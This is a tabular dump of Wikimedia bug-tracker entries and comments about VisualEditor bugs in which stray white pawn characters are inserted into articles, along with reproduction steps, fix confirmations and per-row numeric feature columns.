Is this bug still valid? I can't reproduce now, using a thumb image (rather than a list) to create the block item.",,,1371520995,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.0930232558139537,0.813953488372093,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

Is this bug still valid? I can't reproduce now, using a thumb image (rather than a list) to create the block item."
220351,VisualEditor: Delete contents of slugged paragraph results in double line break visible,"We are not placing slugs around lists anymore so this bug can't be reproduced, however I know what was root cause of it (native handling of deletion) and I'm working on it now.",,,1371072856,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,8.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,"We are not placing slugs around lists anymore so this bug can't be reproduced, however I know what was root cause of it (native handling of deletion) and I'm working on it now."
50346,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Lately, I've been noticing random pawn characters at the end of paragraphs all over English Wikipedia. The source of these pawns was a mystery to me until I tried using the Visual Editor today. As soon as I started typing in the editor, it inserted a pawn at the end of the line I was editing.

The pawn in question is the white pawn, typically the first piece to move in a game of chess. This makes me wonder if perhaps the visual editor has become sentient and is trying to initiate a friendly game with the editor. Unfortunately, playing chess on Wikipedia was banned in 2006 as a violation of WP:NOT,[1] so it's probably a good idea if we eliminate this sort of behavior.

Actual character: ♙
Unicode value: 2659
UTF-8 value: E2 99 99
Browser: Firefox

1. https://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/Wikipedia:Chess_championship

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1368250320,1368498256.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_description,resolved,True,c1,1,False,False,True,-8,,0.5,0.0,0.0,0.5,0.0,5.5,1.0,0.0,0.0,1.0,3.5,0.5,0.0,0.0,0.0,3.5,0.0,4.5,12.0,0.0,1.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,3.0,13.5,1.0,0.5,10.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,4.5,12.0,6.0,0.0,0.0,0.0,4.5,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.5,3.8260869565217392,0.6847826086956521,"Lately, I've been noticing random pawn characters at the end of paragraphs all over English Wikipedia. The source of these pawns was a mystery to me until I tried using the Visual Editor today. As soon as I started typing in the editor, it inserted a pawn at the end of the line I was editing.

The pawn in question is the white pawn, typically the first piece to move in a game of chess. This makes me wonder if perhaps the visual editor has become sentient and is trying to initiate a friendly game with the editor. Unfortunately, playing chess on Wikipedia was banned in 2006 as a violation of WP:NOT,[1] so it's probably a good idea if we eliminate this sort of behavior.

Actual character: ♙
Unicode value: 2659
UTF-8 value: E2 99 99
Browser: Firefox

1. URL

--------------------------
**Version**: unspecified
**Severity**: critical"
218164,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","verified for any page https://test2.wikipedia.org/

using chrome Version 26.0.1410.65 and firefox 25.",,,1384457027,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,3,False,,,19,,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.714285714285714,1.0,"verified for any page URL

using chrome Version 26.0.1410.65 and firefox 25."
218157,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption",Confirming that this is fixed in master and wmf4; deployed in the normal deployment train.,,,1368498108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.470588235294118,0.9411764705882353,Confirming that this is fixed in master and wmf4; deployed in the normal deployment train.
218151,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","(In reply to comment #4)
> Pawn insertion from May 3:
> https://en.wikipedia.org/w/index.
> php?title=Rubik%27s_360&diff=553360286&oldid=540708795

These kind of issues are precisely why there's a mandatory pre-save diff for users to read and agree it's fine. If there's a pawn inserted into the article, you're not meant to press save!",,,1368390197,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,10.0,3.0,2.0,7.0,0.0,0.0,2.0,2.0,7.0,0.0,2.0,0.0,3.0,14.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3620689655172415,0.8103448275862069,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

These kind of issues are precisely why there's a mandatory pre-save diff for users to read and agree it's fine. If there's a pawn inserted into the article, you're not meant to press save!"
218145,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","(In reply to comment #1)
> Steps to reproduce:
> 1. Log in and turn on the visual editor.
> 2. Go to a random article like ""Sundance Meadows Airport""
> 3. Click the Edit tab
> 4. After the cursor appears on the page, type a character
> 
> You will then see a white pawn at the end of the line of text you are
> editing.

Thanks; have updated the bug report accordingly.

> Interestingly, it only seems to happen on articles that insert the cursor
> into a blank line at the top of the article. I'm not sure what determines
> that behavior, but it seems to be the behavior for the vast majority of
> en.wiki articles.

That is bug 47790. It's not really a blank line in the document; it's the ""potential"" place to insert some new content, until you click into it and insert some, at which point it's whatever you type in. But it's not really very obvious to users what it is.

> The only article I haven't been able to reproduce the bug at so far
> is Lalage:
> https://en.wikipedia.org/wiki/Lalage

A block-level slug only appears if the page starts with a template or other kind of generated content; any page that starts with one will get one (hence the pervasiveness). The alternative is not giving users the ability to insert content before a template if it happened to be at the start of a document, which would be even more confusing.",,,1368390088,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-8,,1.5,0.0,0.5,0.0,1.5,3.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,10.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,7.0,0.0,3.5,1.5,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,15.5,0.5,0.0,0.5,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,7.0,2.5,11.5,1.0,1.5,10.0,0.0,0.0,0.0,0.5,3.5,0.0,2.0,0.0,4.5,10.0,4.5,0.0,1.0,0.0,4.5,0.0,2.5,2.5,0.0,0.5,0.5,0.0,0.0,3.6055555555555556,0.6277777777777778,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks; have updated the bug report accordingly.

QUOTE
QUOTE
QUOTE
QUOTE

That is bug 47790. It's not really a blank line in the document; it's the ""potential"" place to insert some new content, until you click into it and insert some, at which point it's whatever you type in. But it's not really very obvious to users what it is.

QUOTE
QUOTE
QUOTE

A block-level slug only appears if the page starts with a template or other kind of generated content; any page that starts with one will get one (hence the pervasiveness). The alternative is not giving users the ability to insert content before a template if it happened to be at the start of a document, which would be even more confusing."
218139,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Can't reproduce this is master. It may have already been fixed, pending release?",,,1368379669,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,1.0,"Can't reproduce this is master. It may have already been fixed, pending release?"
218135,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","**fran** wrote:

Pawn ahoy: https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=modules/ve/ce/ve.ce.Surface.js;h=7ad07c54370cb585ca264f78872fee0c83bd77a5;hb=HEAD#l1009

""git blame"" says this section was worked on by Christian Williams, so maybe he'll know what's going on?",,,1368303523,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,5.0,3.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.135135135135135,0.8108108108108109,"**fran** wrote:

Pawn ahoy: URL

""git blame"" says this section was worked on by Christian Williams, so maybe he'll know what's going on?"
218130,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Pawn insertion from May 3:
https://en.wikipedia.org/w/index.php?title=Rubik%27s_360&diff=553360286&oldid=540708795",,,1368255099,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"Pawn insertion from May 3:
URL"
218124,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption",Confirmed in Safari and Chrome as well.,,,1368252786,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Confirmed in Safari and Chrome as well.
218117,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","I also can't reproduce the bug in my user sandbox:
https://en.wikipedia.org/wiki/User:Kaldari/sandbox",,,1368251518,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2142857142857144,1.0,"I also can't reproduce the bug in my user sandbox:
URL"
218111,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Steps to reproduce:
1. Log in and turn on the visual editor.
2. Go to a random article like ""Sundance Meadows Airport""
3. Click the Edit tab
4. After the cursor appears on the page, type a character

You will then see a white pawn at the end of the line of text you are editing.

Interestingly, it only seems to happen on articles that insert the cursor into a blank line at the top of the article. I'm not sure what determines that behavior, but it seems to be the behavior for the vast majority of en.wiki articles. The only article I haven't been able to reproduce the bug at so far is Lalage:
https://en.wikipedia.org/wiki/Lalage",,,1368251303,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,1.5,5.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,1.5,0.0,1.5,0.0,5.0,12.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,6.0,1.0,1.5,0.0,1.0,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,10.0,2.5,9.5,0.0,1.0,11.0,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,4.0,12.0,2.5,0.0,1.0,0.0,4.0,0.0,1.5,2.0,0.0,0.5,0.0,0.0,1.0,3.5142857142857142,0.7285714285714286,"Steps to reproduce:
1. Log in and turn on the visual editor.
2. Go to a random article like ""Sundance Meadows Airport""
3. Click the Edit tab
4. After the cursor appears on the page, type a character

You will then see a white pawn at the end of the line of text you are editing.

Interestingly, it only seems to happen on articles that insert the cursor into a blank line at the top of the article. I'm not sure what determines that behavior, but it seems to be the behavior for the vast majority of en.wiki articles. The only article I haven't been able to reproduce the bug at so far is Lalage:
URL"
50287,VisualEditor: Aborted empty list creates a pawn,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Click Bullet List
Type Enter
Type Up
Type Delete

Wild pawn appears.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1368089940,1368206273.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-bxvvumd26q44ufzm7ua5,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,31.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2580645161290325,0.5161290322580645,"Go to URL
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Click Bullet List
Type Enter
Type Up
Type Delete

Wild pawn appears.

--------------------------
**Version**: unspecified
**Severity**: normal"
214464,VisualEditor: Aborted empty list creates a pawn,Merged into master; will be deployed from Monday.,,,1368206349,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,Merged into master; will be deployed from Monday.
214458,VisualEditor: Aborted empty list creates a pawn,"(In reply to comment #3)
> Related URL: https://gerrit.wikimedia.org/r/63102 (Gerrit Change
> If22d9b904b8861e24d56944d791545635b2e4254)

Merged.",,,1368206273,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7333333333333334,0.8666666666666667,"(In reply to comment #3)
QUOTE
QUOTE

Merged."
214450,VisualEditor: Aborted empty list creates a pawn,Related URL: https://gerrit.wikimedia.org/r/63102 (Gerrit Change If22d9b904b8861e24d56944d791545635b2e4254),,,1368148455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If22d9b904b8861e24d56944d791545635b2e4254)
214441,VisualEditor: Aborted empty list creates a pawn,"I can reproduce in Firefox and Chrome if you forwards-delete or insert characters. It appears that this is because when you clear out the <li> (return at the end of the list) it doesn't check that the <ul> is empty, so you get a node inside the <ul>.

Note that in casual testing this 'worked', because backspace deletes the pawn and <ul> together. Bother.",,,1368126833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,1.0,6.0,2.0,2.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,9.0,2.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,7.0,8.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,14.0,6.0,0.0,2.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,12.0,3.4186046511627906,0.686046511627907,"I can reproduce in Firefox and Chrome if you forwards-delete or insert characters. It appears that this is because when you clear out the <li> (return at the end of the list) it doesn't check that the <ul> is empty, so you get a node inside the <ul>.

Note that in casual testing this 'worked', because backspace deletes the pawn and <ul> together. Bother."
214432,VisualEditor: Aborted empty list creates a pawn,Same when entering text instead of Delete,,,1368090135,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,1.0,Same when entering text instead of Delete
50286,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Type ""Delete"".
Click Bullet List
Type q
Type Left
Type Enter
Type Up
Type Delete

Wild pawn appears.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1368089760,1368211364.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-beabkw6yw7remnijbvdm,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,32.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1216216216216215,0.4594594594594595,"Go to URL
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Type ""Delete"".
Click Bullet List
Type q
Type Left
Type Enter
Type Up
Type Delete

Wild pawn appears.

--------------------------
**Version**: unspecified
**Severity**: normal"
214389,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"(In reply to comment #3)
> James, do you mean the pawn does not appear for you?
> I tried just now on wikipedia.org, the pawn appears.
> Please note that the correct instructions are those in Comment 1.
> 
> Ubuntu 2012.10, Firefox 20.0

I didn't say it doesn't appear in production, I said it doesn't appear in master; had I been unable to reproduce, I would have said. :-)

I think this is fixed through changes made in master but not deployed, but bug 47795 appears to have broken itself; I'll close this and mark that as re-opened.",,,1368211364,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,1.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,14.0,1.0,3.0,2.0,0.0,1.0,0.0,1.0,9.0,0.0,2.0,0.0,10.0,13.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.6363636363636364,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

